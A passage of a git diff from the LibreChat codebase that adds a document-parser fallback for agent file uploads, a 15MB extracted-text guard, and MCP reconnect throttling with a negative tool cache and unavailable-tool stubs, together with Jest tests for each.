+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnValue({}),
+};
+
+const makeFileConfig = ({ ocrSupportedMimeTypes = [] } = {}) => ({
+ checkType: (mime, types) => (types ?? []).includes(mime),
+ ocr: { supportedMimeTypes: ocrSupportedMimeTypes },
+ stt: { supportedMimeTypes: [] },
+ text: { supportedMimeTypes: [] },
+});
+
+describe('processAgentFileUpload', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ mockRes.status.mockReturnThis();
+ mockRes.json.mockReturnValue({});
+ checkCapability.mockResolvedValue(true);
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest
+ .fn()
+ .mockResolvedValue({ text: 'extracted text', bytes: 42, filepath: 'doc://result' }),
+ });
+ mergeFileConfig.mockReturnValue(makeFileConfig());
+ });
+
+ describe('OCR strategy selection', () => {
+ test.each([
+ ['PDF', PDF_MIME],
+ ['DOCX', DOCX_MIME],
+ ['XLSX', XLSX_MIME],
+ ['XLS', XLS_MIME],
+ ['ODS', ODS_MIME],
+ ['Excel variant (msexcel)', 'application/msexcel'],
+ ['Excel variant (x-msexcel)', 'application/x-msexcel'],
+ ])('uses document_parser automatically for %s when no OCR is configured', async (_, mime) => {
+ mergeFileConfig.mockReturnValue(makeFileConfig());
+ const req = makeReq({ mimetype: mime, ocrConfig: null });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('does not check OCR capability when using automatic document_parser fallback', async () => {
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('uses the configured OCR strategy when OCR is set up for the file type', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
+ });
+
+ test('uses document_parser as default when OCR is configured but no strategy is specified', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { supportedMimeTypes: [PDF_MIME] },
+ });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('throws when configured OCR capability is not enabled for the agent', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ checkCapability.mockResolvedValue(false);
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow('OCR capability is not enabled for Agents');
+ });
+
+ test('uses document_parser (no capability check) when OCR capability returns false but no OCR config', async () => {
+ checkCapability.mockResolvedValue(false);
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('uses document_parser when OCR is configured but the file type is not in OCR supported types', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ const req = makeReq({
+ mimetype: DOCX_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ expect(getStrategyFunctions).not.toHaveBeenCalledWith(FileSources.mistral_ocr);
+ });
+
+ test('does not invoke any OCR strategy for unsupported MIME types without OCR config', async () => {
+ const req = makeReq({ mimetype: 'text/plain', ocrConfig: null });
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow('File type text/plain is not supported for text parsing.');
+
+ expect(getStrategyFunctions).not.toHaveBeenCalled();
+ });
+
+ test.each([
+ ['ODT', ODT_MIME],
+ ['ODP', ODP_MIME],
+ ['ODG', ODG_MIME],
+ ])('routes %s through configured OCR when OCR supports the type', async (_, mime) => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [mime] }));
+ const req = makeReq({
+ mimetype: mime,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
+ });
+
+ test('throws instead of falling back to parseText when document_parser fails for a document MIME type', async () => {
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest.fn().mockRejectedValue(new Error('No text found in document')),
+ });
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+ const { parseText } = require('@librechat/api');
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow(/image-based and requires an OCR service/);
+
+ expect(parseText).not.toHaveBeenCalled();
+ });
+
+ test('falls back to document_parser when configured OCR fails for a document MIME type', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ const failingUpload = jest.fn().mockRejectedValue(new Error('OCR API returned 500'));
+ const fallbackUpload = jest
+ .fn()
+ .mockResolvedValue({ text: 'parsed text', bytes: 11, filepath: 'doc://result' });
+ getStrategyFunctions
+ .mockReturnValueOnce({ handleFileUpload: failingUpload })
+ .mockReturnValueOnce({ handleFileUpload: fallbackUpload });
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).resolves.not.toThrow();
+
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('throws when both configured OCR and document_parser fallback fail', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest.fn().mockRejectedValue(new Error('failure')),
+ });
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+ const { parseText } = require('@librechat/api');
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow(/image-based and requires an OCR service/);
+
+ expect(parseText).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('text size guard', () => {
+ test('throws before writing to MongoDB when extracted text exceeds 15MB', async () => {
+ const oversizedText = 'x'.repeat(15 * 1024 * 1024 + 1);
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest.fn().mockResolvedValue({
+ text: oversizedText,
+ bytes: Buffer.byteLength(oversizedText, 'utf8'),
+ filepath: 'doc://result',
+ }),
+ });
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+ const { createFile } = require('~/models');
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow(/exceeds the 15MB storage limit/);
+
+ expect(createFile).not.toHaveBeenCalled();
+ });
+
+ test('succeeds when extracted text is within the 15MB limit', async () => {
+ const okText = 'x'.repeat(1024);
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest.fn().mockResolvedValue({
+ text: okText,
+ bytes: Buffer.byteLength(okText, 'utf8'),
+ filepath: 'doc://result',
+ }),
+ });
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).resolves.not.toThrow();
+ });
+ });
+});
diff --git a/api/server/services/Files/strategies.js b/api/server/services/Files/strategies.js
index 2ad526194b..25341b5715 100644
--- a/api/server/services/Files/strategies.js
+++ b/api/server/services/Files/strategies.js
@@ -1,5 +1,6 @@
const { FileSources } = require('librechat-data-provider');
const {
+ parseDocument,
uploadMistralOCR,
uploadAzureMistralOCR,
uploadGoogleVertexMistralOCR,
@@ -246,6 +247,26 @@ const vertexMistralOCRStrategy = () => ({
handleFileUpload: uploadGoogleVertexMistralOCR,
});
+const documentParserStrategy = () => ({
+ /** @type {typeof saveFileFromURL | null} */
+ saveURL: null,
+ /** @type {typeof getLocalFileURL | null} */
+ getFileURL: null,
+ /** @type {typeof saveLocalBuffer | null} */
+ saveBuffer: null,
+ /** @type {typeof processLocalAvatar | null} */
+ processAvatar: null,
+ /** @type {typeof uploadLocalImage | null} */
+ handleImageUpload: null,
+ /** @type {typeof prepareImagesLocal | null} */
+ prepareImagePayload: null,
+ /** @type {typeof deleteLocalFile | null} */
+ deleteFile: null,
+ /** @type {typeof getLocalFileStream | null} */
+ getDownloadStream: null,
+ handleFileUpload: parseDocument,
+});
+
// Strategy Selector
const getStrategyFunctions = (fileSource) => {
if (fileSource === FileSources.firebase) {
@@ -270,6 +291,8 @@ const getStrategyFunctions = (fileSource) => {
return azureMistralOCRStrategy();
} else if (fileSource === FileSources.vertexai_mistral_ocr) {
return vertexMistralOCRStrategy();
+ } else if (fileSource === FileSources.document_parser) {
+ return documentParserStrategy();
} else if (fileSource === FileSources.text) {
return localStrategy(); // Text files use local strategy
} else {
diff --git a/api/server/services/GraphTokenService.js b/api/server/services/GraphTokenService.js
index d5cd6a94f2..843adbe5a2 100644
--- a/api/server/services/GraphTokenService.js
+++ b/api/server/services/GraphTokenService.js
@@ -7,7 +7,7 @@ const getLogStores = require('~/cache/getLogStores');
/**
* Get Microsoft Graph API token using existing token exchange mechanism
* @param {Object} user - User object with OpenID information
- * @param {string} accessToken - Current access token from Authorization header
+ * @param {string} accessToken - Federated access token used as OBO assertion
* @param {string} scopes - Graph API scopes for the token
* @param {boolean} fromCache - Whether to try getting token from cache first
* @returns {Promise} Graph API token response with access_token and expires_in
diff --git a/api/server/services/MCP.js b/api/server/services/MCP.js
index 81d7107de4..c66eb0b6ef 100644
--- a/api/server/services/MCP.js
+++ b/api/server/services/MCP.js
@@ -1,4 +1,3 @@
-const { z } = require('zod');
const { tool } = require('@langchain/core/tools');
const { logger } = require('@librechat/data-schemas');
const {
@@ -12,8 +11,9 @@ const {
MCPOAuthHandler,
isMCPDomainAllowed,
normalizeServerName,
- convertWithResolvedRefs,
+ normalizeJsonSchema,
GenerationJobManager,
+ resolveJsonSchemaRefs,
} = require('@librechat/api');
const {
Time,
@@ -29,10 +29,70 @@ const {
getMCPManager,
} = require('~/config');
const { findToken, createToken, updateToken } = require('~/models');
+const { getGraphApiToken } = require('./GraphTokenService');
const { reinitMCPServer } = require('./Tools/mcp');
const { getAppConfig } = require('./Config');
const { getLogStores } = require('~/cache');
+const MAX_CACHE_SIZE = 1000;
+const lastReconnectAttempts = new Map();
+const RECONNECT_THROTTLE_MS = 10_000;
+
+const missingToolCache = new Map();
+const MISSING_TOOL_TTL_MS = 10_000;
+
+function evictStale(map, ttl) {
+ if (map.size <= MAX_CACHE_SIZE) {
+ return;
+ }
+ const now = Date.now();
+ for (const [key, timestamp] of map) {
+ if (now - timestamp >= ttl) {
+ map.delete(key);
+ }
+ if (map.size <= MAX_CACHE_SIZE) {
+ return;
+ }
+ }
+}
+
+const unavailableMsg =
+ "This tool's MCP server is temporarily unavailable. Please try again shortly.";
+
+/**
+ * @param {string} toolName
+ * @param {string} serverName
+ */
+function createUnavailableToolStub(toolName, serverName) {
+ const normalizedToolKey = `${toolName}${Constants.mcp_delimiter}${normalizeServerName(serverName)}`;
+ const _call = async () => [unavailableMsg, null];
+ const toolInstance = tool(_call, {
+ schema: {
+ type: 'object',
+ properties: {
+ input: { type: 'string', description: 'Input for the tool' },
+ },
+ required: [],
+ },
+ name: normalizedToolKey,
+ description: unavailableMsg,
+ responseFormat: AgentConstants.CONTENT_AND_ARTIFACT,
+ });
+ toolInstance.mcp = true;
+ toolInstance.mcpRawServerName = serverName;
+ return toolInstance;
+}
+
+function isEmptyObjectSchema(jsonSchema) {
+ return (
+ jsonSchema != null &&
+ typeof jsonSchema === 'object' &&
+ jsonSchema.type === 'object' &&
+ (jsonSchema.properties == null || Object.keys(jsonSchema.properties).length === 0) &&
+ !jsonSchema.additionalProperties
+ );
+}
+
/**
* @param {object} params
* @param {ServerResponse} params.res - The Express response object for sending events.
@@ -43,9 +103,9 @@ const { getLogStores } = require('~/cache');
function createRunStepDeltaEmitter({ res, stepId, toolCall, streamId = null }) {
/**
* @param {string} authURL - The URL to redirect the user for OAuth authentication.
- * @returns {void}
+ * @returns {Promise}
*/
- return function (authURL) {
+ return async function (authURL) {
/** @type {{ id: string; delta: AgentToolCallDelta }} */
const data = {
id: stepId,
@@ -58,7 +118,7 @@ function createRunStepDeltaEmitter({ res, stepId, toolCall, streamId = null }) {
};
const eventData = { event: GraphEvents.ON_RUN_STEP_DELTA, data };
if (streamId) {
- GenerationJobManager.emitChunk(streamId, eventData);
+ await GenerationJobManager.emitChunk(streamId, eventData);
} else {
sendEvent(res, eventData);
}
@@ -73,9 +133,10 @@ function createRunStepDeltaEmitter({ res, stepId, toolCall, streamId = null }) {
* @param {ToolCallChunk} params.toolCall - The tool call object containing tool information.
* @param {number} [params.index]
* @param {string | null} [params.streamId] - The stream ID for resumable mode.
+ * @returns {() => Promise}
*/
function createRunStepEmitter({ res, runId, stepId, toolCall, index, streamId = null }) {
- return function () {
+ return async function () {
/** @type {import('@librechat/agents').RunStep} */
const data = {
runId: runId ?? Constants.USE_PRELIM_RESPONSE_MESSAGE_ID,
@@ -89,7 +150,7 @@ function createRunStepEmitter({ res, runId, stepId, toolCall, index, streamId =
};
const eventData = { event: GraphEvents.ON_RUN_STEP, data };
if (streamId) {
- GenerationJobManager.emitChunk(streamId, eventData);
+ await GenerationJobManager.emitChunk(streamId, eventData);
} else {
sendEvent(res, eventData);
}
@@ -137,7 +198,7 @@ function createOAuthEnd({ res, stepId, toolCall, streamId = null }) {
};
const eventData = { event: GraphEvents.ON_RUN_STEP_DELTA, data };
if (streamId) {
- GenerationJobManager.emitChunk(streamId, eventData);
+ await GenerationJobManager.emitChunk(streamId, eventData);
} else {
sendEvent(res, eventData);
}
@@ -196,6 +257,20 @@ async function reconnectServer({
userMCPAuthMap,
streamId = null,
}) {
+ logger.debug(
+ `[MCP][reconnectServer] serverName: ${serverName}, user: ${user?.id}, hasUserMCPAuthMap: ${!!userMCPAuthMap}`,
+ );
+
+ const throttleKey = `${user.id}:${serverName}`;
+ const now = Date.now();
+ const lastAttempt = lastReconnectAttempts.get(throttleKey) ?? 0;
+ if (now - lastAttempt < RECONNECT_THROTTLE_MS) {
+ logger.debug(`[MCP][reconnectServer] Throttled reconnect for ${serverName}`);
+ return null;
+ }
+ lastReconnectAttempts.set(throttleKey, now);
+ evictStale(lastReconnectAttempts, RECONNECT_THROTTLE_MS);
+
const runId = Constants.USE_PRELIM_RESPONSE_MESSAGE_ID;
const flowId = `${user.id}:${serverName}:${Date.now()}`;
const flowManager = getFlowStateManager(getLogStores(CacheKeys.FLOWS));
@@ -252,7 +327,7 @@ async function reconnectServer({
userMCPAuthMap,
forceNew: true,
returnOnOAuth: false,
- connectionTimeout: Time.TWO_MINUTES,
+ connectionTimeout: Time.THIRTY_SECONDS,
});
} finally {
// Clean up abort handler to prevent memory leaks
@@ -315,9 +390,13 @@ async function createMCPTools({
userMCPAuthMap,
streamId,
});
+ if (result === null) {
+ logger.debug(`[MCP][${serverName}] Reconnect throttled, skipping tool creation.`);
+ return [];
+ }
if (!result || !result.tools) {
logger.warn(`[MCP][${serverName}] Failed to reinitialize MCP server.`);
- return;
+ return [];
}
const serverTools = [];
@@ -387,6 +466,14 @@ async function createMCPTool({
/** @type {LCTool | undefined} */
let toolDefinition = availableTools?.[toolKey]?.function;
if (!toolDefinition) {
+ const cachedAt = missingToolCache.get(toolKey);
+ if (cachedAt && Date.now() - cachedAt < MISSING_TOOL_TTL_MS) {
+ logger.debug(
+ `[MCP][${serverName}][${toolName}] Tool in negative cache, returning unavailable stub.`,
+ );
+ return createUnavailableToolStub(toolName, serverName);
+ }
+
logger.warn(
`[MCP][${serverName}][${toolName}] Requested tool not found in available tools, re-initializing MCP server.`,
);
@@ -400,11 +487,18 @@ async function createMCPTool({
streamId,
});
toolDefinition = result?.availableTools?.[toolKey]?.function;
+
+ if (!toolDefinition) {
+ missingToolCache.set(toolKey, Date.now());
+ evictStale(missingToolCache, MISSING_TOOL_TTL_MS);
+ }
}
if (!toolDefinition) {
- logger.warn(`[MCP][${serverName}][${toolName}] Tool definition not found, cannot create tool.`);
- return;
+ logger.warn(
+ `[MCP][${serverName}][${toolName}] Tool definition not found, returning unavailable stub.`,
+ );
+ return createUnavailableToolStub(toolName, serverName);
}
return createToolInstance({
@@ -428,13 +522,17 @@ function createToolInstance({
/** @type {LCTool} */
const { description, parameters } = toolDefinition;
const isGoogle = _provider === Providers.VERTEXAI || _provider === Providers.GOOGLE;
- let schema = convertWithResolvedRefs(parameters, {
- allowEmptyObject: !isGoogle,
- transformOneOfAnyOf: true,
- });
- if (!schema) {
- schema = z.object({ input: z.string().optional() });
+ let schema = parameters ? normalizeJsonSchema(resolveJsonSchemaRefs(parameters)) : null;
+
+ if (!schema || (isGoogle && isEmptyObjectSchema(schema))) {
+ schema = {
+ type: 'object',
+ properties: {
+ input: { type: 'string', description: 'Input for the tool' },
+ },
+ required: [],
+ };
}
const normalizedToolKey = `${toolName}${Constants.mcp_delimiter}${normalizeServerName(serverName)}`;
@@ -501,6 +599,7 @@ function createToolInstance({
},
oauthStart,
oauthEnd,
+ graphTokenResolver: getGraphApiToken,
});
if (isAssistantsEndpoint(provider) && Array.isArray(result)) {
@@ -548,6 +647,7 @@ function createToolInstance({
});
toolInstance.mcp = true;
toolInstance.mcpRawServerName = serverName;
+ toolInstance.mcpJsonSchema = parameters;
return toolInstance;
}
@@ -699,4 +799,5 @@ module.exports = {
getMCPSetupData,
checkOAuthFlowStatus,
getServerConnectionStatus,
+ createUnavailableToolStub,
};
diff --git a/api/server/services/MCP.spec.js b/api/server/services/MCP.spec.js
index cb2f0081a3..14a9ef90ed 100644
--- a/api/server/services/MCP.spec.js
+++ b/api/server/services/MCP.spec.js
@@ -9,30 +9,6 @@ jest.mock('@librechat/data-schemas', () => ({
},
}));
-jest.mock('@langchain/core/tools', () => ({
- tool: jest.fn((fn, config) => {
- const toolInstance = { _call: fn, ...config };
- return toolInstance;
- }),
-}));
-
-jest.mock('@librechat/agents', () => ({
- Providers: {
- VERTEXAI: 'vertexai',
- GOOGLE: 'google',
- },
- StepTypes: {
- TOOL_CALLS: 'tool_calls',
- },
- GraphEvents: {
- ON_RUN_STEP_DELTA: 'on_run_step_delta',
- ON_RUN_STEP: 'on_run_step',
- },
- Constants: {
- CONTENT_AND_ARTIFACT: 'content_and_artifact',
- },
-}));
-
// Create mock registry instance
const mockRegistryInstance = {
getOAuthServers: jest.fn(() => Promise.resolve(new Set())),
@@ -46,52 +22,32 @@ const mockIsMCPDomainAllowed = jest.fn(() => Promise.resolve(true));
const mockGetAppConfig = jest.fn(() => Promise.resolve({}));
jest.mock('@librechat/api', () => {
- // Access mock via getter to avoid hoisting issues
+ const actual = jest.requireActual('@librechat/api');
return {
- MCPOAuthHandler: {
- generateFlowId: jest.fn(),
- },
+ ...actual,
sendEvent: jest.fn(),
- normalizeServerName: jest.fn((name) => name),
- convertWithResolvedRefs: jest.fn((params) => params),
get isMCPDomainAllowed() {
return mockIsMCPDomainAllowed;
},
- MCPServersRegistry: {
- getInstance: () => mockRegistryInstance,
+ GenerationJobManager: {
+ emitChunk: jest.fn(),
},
};
});
const { logger } = require('@librechat/data-schemas');
const { MCPOAuthHandler } = require('@librechat/api');
-const { CacheKeys } = require('librechat-data-provider');
+const { CacheKeys, Constants } = require('librechat-data-provider');
+const D = Constants.mcp_delimiter;
const {
createMCPTool,
createMCPTools,
getMCPSetupData,
checkOAuthFlowStatus,
getServerConnectionStatus,
+ createUnavailableToolStub,
} = require('./MCP');
-jest.mock('librechat-data-provider', () => ({
- CacheKeys: {
- FLOWS: 'flows',
- },
- Constants: {
- USE_PRELIM_RESPONSE_MESSAGE_ID: 'prelim_response_id',
- mcp_delimiter: '::',
- mcp_prefix: 'mcp_',
- },
- ContentTypes: {
- TEXT: 'text',
- },
- isAssistantsEndpoint: jest.fn(() => false),
- Time: {
- TWO_MINUTES: 120000,
- },
-}));
-
jest.mock('./Config', () => ({
loadCustomConfig: jest.fn(),
get getAppConfig() {
@@ -120,6 +76,10 @@ jest.mock('./Tools/mcp', () => ({
reinitMCPServer: jest.fn(),
}));
+jest.mock('./GraphTokenService', () => ({
+ getGraphApiToken: jest.fn(),
+}));
+
describe('tests for the new helper functions used by the MCP connection status endpoints', () => {
let mockGetMCPManager;
let mockGetFlowStateManager;
@@ -128,6 +88,7 @@ describe('tests for the new helper functions used by the MCP connection status e
beforeEach(() => {
jest.clearAllMocks();
+ jest.spyOn(MCPOAuthHandler, 'generateFlowId');
mockGetMCPManager = require('~/config').getMCPManager;
mockGetFlowStateManager = require('~/config').getFlowStateManager;
@@ -731,7 +692,7 @@ describe('User parameter passing tests', () => {
mockReinitMCPServer.mockResolvedValue({
tools: [{ name: 'test-tool' }],
availableTools: {
- 'test-tool::test-server': {
+ [`test-tool${D}test-server`]: {
function: {
description: 'Test tool',
parameters: { type: 'object', properties: {} },
@@ -791,7 +752,7 @@ describe('User parameter passing tests', () => {
mockReinitMCPServer.mockResolvedValue({
availableTools: {
- 'test-tool::test-server': {
+ [`test-tool${D}test-server`]: {
function: {
description: 'Test tool',
parameters: { type: 'object', properties: {} },
@@ -804,7 +765,7 @@ describe('User parameter passing tests', () => {
await createMCPTool({
res: mockRes,
user: mockUser,
- toolKey: 'test-tool::test-server',
+ toolKey: `test-tool${D}test-server`,
provider: 'openai',
signal: mockSignal,
userMCPAuthMap: {},
@@ -826,7 +787,7 @@ describe('User parameter passing tests', () => {
const mockRes = { write: jest.fn(), flush: jest.fn() };
const availableTools = {
- 'test-tool::test-server': {
+ [`test-tool${D}test-server`]: {
function: {
description: 'Cached tool',
parameters: { type: 'object', properties: {} },
@@ -837,7 +798,7 @@ describe('User parameter passing tests', () => {
await createMCPTool({
res: mockRes,
user: mockUser,
- toolKey: 'test-tool::test-server',
+ toolKey: `test-tool${D}test-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools: availableTools,
@@ -860,8 +821,8 @@ describe('User parameter passing tests', () => {
return Promise.resolve({
tools: [{ name: 'tool1' }, { name: 'tool2' }],
availableTools: {
- 'tool1::server1': { function: { description: 'Tool 1', parameters: {} } },
- 'tool2::server1': { function: { description: 'Tool 2', parameters: {} } },
+ [`tool1${D}server1`]: { function: { description: 'Tool 1', parameters: {} } },
+ [`tool2${D}server1`]: { function: { description: 'Tool 2', parameters: {} } },
},
});
});
@@ -892,7 +853,7 @@ describe('User parameter passing tests', () => {
reinitCalls.push(params);
return Promise.resolve({
availableTools: {
- 'my-tool::my-server': {
+ [`my-tool${D}my-server`]: {
function: { description: 'My Tool', parameters: {} },
},
},
@@ -902,7 +863,7 @@ describe('User parameter passing tests', () => {
await createMCPTool({
res: mockRes,
user: mockUser,
- toolKey: 'my-tool::my-server',
+ toolKey: `my-tool${D}my-server`,
provider: 'google',
userMCPAuthMap: {},
availableTools: undefined, // Force reinit
@@ -936,11 +897,11 @@ describe('User parameter passing tests', () => {
const result = await createMCPTool({
res: mockRes,
user: mockUser,
- toolKey: 'test-tool::test-server',
+ toolKey: `test-tool${D}test-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools: {
- 'test-tool::test-server': {
+ [`test-tool${D}test-server`]: {
function: {
description: 'Test tool',
parameters: { type: 'object', properties: {} },
@@ -983,7 +944,7 @@ describe('User parameter passing tests', () => {
mockIsMCPDomainAllowed.mockResolvedValueOnce(true);
const availableTools = {
- 'test-tool::test-server': {
+ [`test-tool${D}test-server`]: {
function: {
description: 'Test tool',
parameters: { type: 'object', properties: {} },
@@ -994,7 +955,7 @@ describe('User parameter passing tests', () => {
const result = await createMCPTool({
res: mockRes,
user: mockUser,
- toolKey: 'test-tool::test-server',
+ toolKey: `test-tool${D}test-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools,
@@ -1023,7 +984,7 @@ describe('User parameter passing tests', () => {
});
const availableTools = {
- 'test-tool::test-server': {
+ [`test-tool${D}test-server`]: {
function: {
description: 'Test tool',
parameters: { type: 'object', properties: {} },
@@ -1034,7 +995,7 @@ describe('User parameter passing tests', () => {
const result = await createMCPTool({
res: mockRes,
user: mockUser,
- toolKey: 'test-tool::test-server',
+ toolKey: `test-tool${D}test-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools,
@@ -1100,7 +1061,7 @@ describe('User parameter passing tests', () => {
mockIsMCPDomainAllowed.mockResolvedValue(true);
const availableTools = {
- 'test-tool::test-server': {
+ [`test-tool${D}test-server`]: {
function: {
description: 'Test tool',
parameters: { type: 'object', properties: {} },
@@ -1112,7 +1073,7 @@ describe('User parameter passing tests', () => {
await createMCPTool({
res: mockRes,
user: adminUser,
- toolKey: 'test-tool::test-server',
+ toolKey: `test-tool${D}test-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools,
@@ -1126,7 +1087,7 @@ describe('User parameter passing tests', () => {
await createMCPTool({
res: mockRes,
user: regularUser,
- toolKey: 'test-tool::test-server',
+ toolKey: `test-tool${D}test-server`,
provider: 'openai',
userMCPAuthMap: {},
availableTools,
@@ -1138,6 +1099,188 @@ describe('User parameter passing tests', () => {
});
});
+ describe('createUnavailableToolStub', () => {
+ it('should return a tool whose _call returns a valid CONTENT_AND_ARTIFACT two-tuple', async () => {
+ const stub = createUnavailableToolStub('myTool', 'myServer');
+ // invoke() goes through langchain's base tool, which checks responseFormat.
+ // CONTENT_AND_ARTIFACT requires [content, artifact] — a bare string would throw:
+ // "Tool response format is "content_and_artifact" but the output was not a two-tuple"
+ const result = await stub.invoke({});
+ // If we reach here without throwing, the two-tuple format is correct.
+ // invoke() returns the content portion of [content, artifact] as a string.
+ expect(result).toContain('temporarily unavailable');
+ });
+ });
+
+ describe('negative tool cache and throttle interaction', () => {
+ it('should cache tool as missing even when throttled (cross-user dedup)', async () => {
+ const mockUser = { id: 'throttle-test-user' };
+ const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+ // First call: reconnect succeeds but tool not found
+ mockReinitMCPServer.mockResolvedValueOnce({
+ availableTools: {},
+ });
+
+ await createMCPTool({
+ res: mockRes,
+ user: mockUser,
+ toolKey: `missing-tool${D}cache-dedup-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ // Second call within 10s for DIFFERENT tool on same server:
+ // reconnect is throttled (returns null), tool is still cached as missing.
+ // This is intentional: the cache acts as cross-user dedup since the
+ // throttle is per-user-per-server and can't prevent N different users
+ // from each triggering their own reconnect.
+ const result2 = await createMCPTool({
+ res: mockRes,
+ user: mockUser,
+ toolKey: `other-tool${D}cache-dedup-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(result2).toBeDefined();
+ expect(result2.name).toContain('other-tool');
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+ });
+
+ it('should prevent user B from triggering reconnect when user A already cached the tool', async () => {
+ const userA = { id: 'cache-user-A' };
+ const userB = { id: 'cache-user-B' };
+ const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+ // User A: real reconnect, tool not found → cached
+ mockReinitMCPServer.mockResolvedValueOnce({
+ availableTools: {},
+ });
+
+ await createMCPTool({
+ res: mockRes,
+ user: userA,
+ toolKey: `shared-tool${D}cross-user-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+
+ // User B requests the SAME tool within 10s.
+ // The negative cache is keyed by toolKey (no user prefix), so user B
+ // gets a cache hit and no reconnect fires. This is the cross-user
+ // storm protection: without this, user B's unthrottled first request
+ // would trigger a second reconnect to the same server.
+ const result = await createMCPTool({
+ res: mockRes,
+ user: userB,
+ toolKey: `shared-tool${D}cross-user-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(result).toBeDefined();
+ expect(result.name).toContain('shared-tool');
+ // reinitMCPServer still called only once — user B hit the cache
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+ });
+
+ it('should prevent user B from triggering reconnect for throttle-cached tools', async () => {
